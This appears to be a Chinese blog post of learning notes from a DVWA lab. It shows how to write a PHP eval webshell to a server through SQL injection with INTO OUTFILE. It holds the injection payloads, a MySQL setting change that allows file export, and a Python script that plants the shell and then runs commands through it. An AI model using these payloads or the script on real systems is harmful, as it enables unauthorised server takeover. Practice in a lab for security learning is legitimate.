好好过你的生活,不要老是忙着告诉别人你在干嘛。

最近在复习学过的东西,自己就重新搭了个dvwa来学习新思路,写一些简单的脚本来练习写代码的能力。

众所周知SQL注入的危害是相当大的,对于每个老司机来说,如果发现注入点并可以利用的话,除了脱裤当然是猜解出管理员的用户名密码,后台登陆上传webshell了,虽然这些过程并不一定一路通顺,只是一般的流程,中途会遇到各种各样的问题,这些以后再说,当我这个菜比都学会了在分享出来吧。

今天我们说说利用sql注入漏洞写入webshell。当我们发现了注入漏洞,但是却找不到后台,该怎么办呢,如果数据库管理员权限比较大的话,我们可以通过sql注入向网站写入shell。

写入webshell的前提条件:

1.select into outfile方法可用(允许导出文件)

2.我们需要知道网站所在的绝对路径

3.我们有足够的权限

首先我们确定了注入点,接下来就是爆一下网站的绝对路径:

在输入框中输入,1' union select 'x','x' into outfile 'xx' -- 利用错误的sql语句,使数据库报错并返回绝对路径

现在已经获得了网站的绝对路径,接下来就是利用sql注入写shell了,在输入框中插入 1' union select "<?php @eval($_GET['cmd'])?>","hello admin" into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\dvwa\\hello.php' (需要注意,是两个"\") 点击提交,我们看一下是否上传成功

当我们输入 select 'xx' into outfile 'xxxx/xx/xx' -- 时 可能会遇到一下情况:

解决办法:找到my.ini文件 在最后一行加上一句 secure_file_prv="/"重启mysql即可。

============================================================附上自己写的自动化辣鸡代码=========================================================================

# -*- utf-8 -*-
import requests
import re headers = { 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.8',
'Cache-Control':'max-age=0',
'Connection':'keep-alive',
'Cookie':'security=low; PHPSESSID=pie6uqttjqtnadq1b5dp8640u1',
'Host':'192.168.86.129',
'Referer':'http://192.168.86.129/dvwa/security.php',
'Upgrade-Insecure-Requests':'1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36' } url = raw_input('url:')
print '='*15,u'大爷稍等','='*15
payload = '%27+union+select+"<%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3F>"%2C"hello+admin"+into+outfile+%27C%3A%5C%5CphpStudy%5C%5CPHPTutorial%5C%5CWWW%5C%5Cdvwa%5C%5Chello.php%27+--+&Submit=Submit#'
url1 = requests.get(url+payload,headers=headers)
url2 = 'http://192.168.86.129/dvwa/hello.php'
url3 = requests.get(url2,headers=headers)
url4 = re.findall('<body>(.*?)</body>',url3.text)
if 'hello' in url3.text:
print u'webshell已写入,路径为:http://192.168.86.129/dvwa/hello.php'
else:
print u'写入失败'
print u'大爷您请便!'
url5 = 'http://192.168.86.129/dvwa/hello.php?cmd='
url6 = raw_input()
url7 = requests.get(url5+url6,headers=headers)
url8 = re.findall('<body>(.*?)</body>',url7.content) print url7.content

  

以此记录自己学过的知识,以防忘记,每天进步一点,共勉。

最新文章

  1. 二模14day2解题报告
  2. 解决 .so文件64与32不兼容问题
  3. [aspx]控件及代码小例
  4. 微信内置浏览器的 User Agent的判断
  5. matlab cross 3*1 向量叉乘
  6. ubuntu14.04安装百度云Bcloud
  7. Java枚举类型理解
  8. VC的话有必要认真听,但却不用急着照办
  9. ios常用的几个动画代码
  10. mysq优化
  11. 1005. 继续(3n+1)猜想 (25) (ZJUPAT 数学)
  12. CodeForces 820C
  13. Windows平台 python 常用包的安装
  14. LayaAir疑难杂症之三:1.7版本click()、execCommand(&#39;copy&#39;)函数不生效
  15. 用return关键字实现1——100累加求和,返回总和并接收输出
  16. http范围请求
  17. VirtualBox安装CENTOS7.3常见问题
  18. Java学习笔记48(DBUtils工具类一)
  19. CacheManager.NET
  20. Spring之c3p0连接池xml配置和使用举例

热门文章

  1. Datanode 怎么与 Namenode 通信?
  2. python连接mysql中报错1064修改方法
  3. 开启gzip压缩/cdn是否会影响抓取和收录量
  4. 关于对MyBatis.net框架的学习笔记( MyBatis.net是一款灵活性极大,sql由开发者自行在xml中编写, 轻量的ORM映射框架). 同时避免了sql硬编码到代码中不易维护的问题...
  5. linux字符终端(控制台)的字体更改
  6. Python post请求模拟登录淘宝并爬取商品列表
  7. qdu-小明的贪心题(最短路+最短路的数量 )
  8. linux的五种IO模型
  9. 跟着兄弟连系统学习Linux-【day02】
  10. idea导入spring源码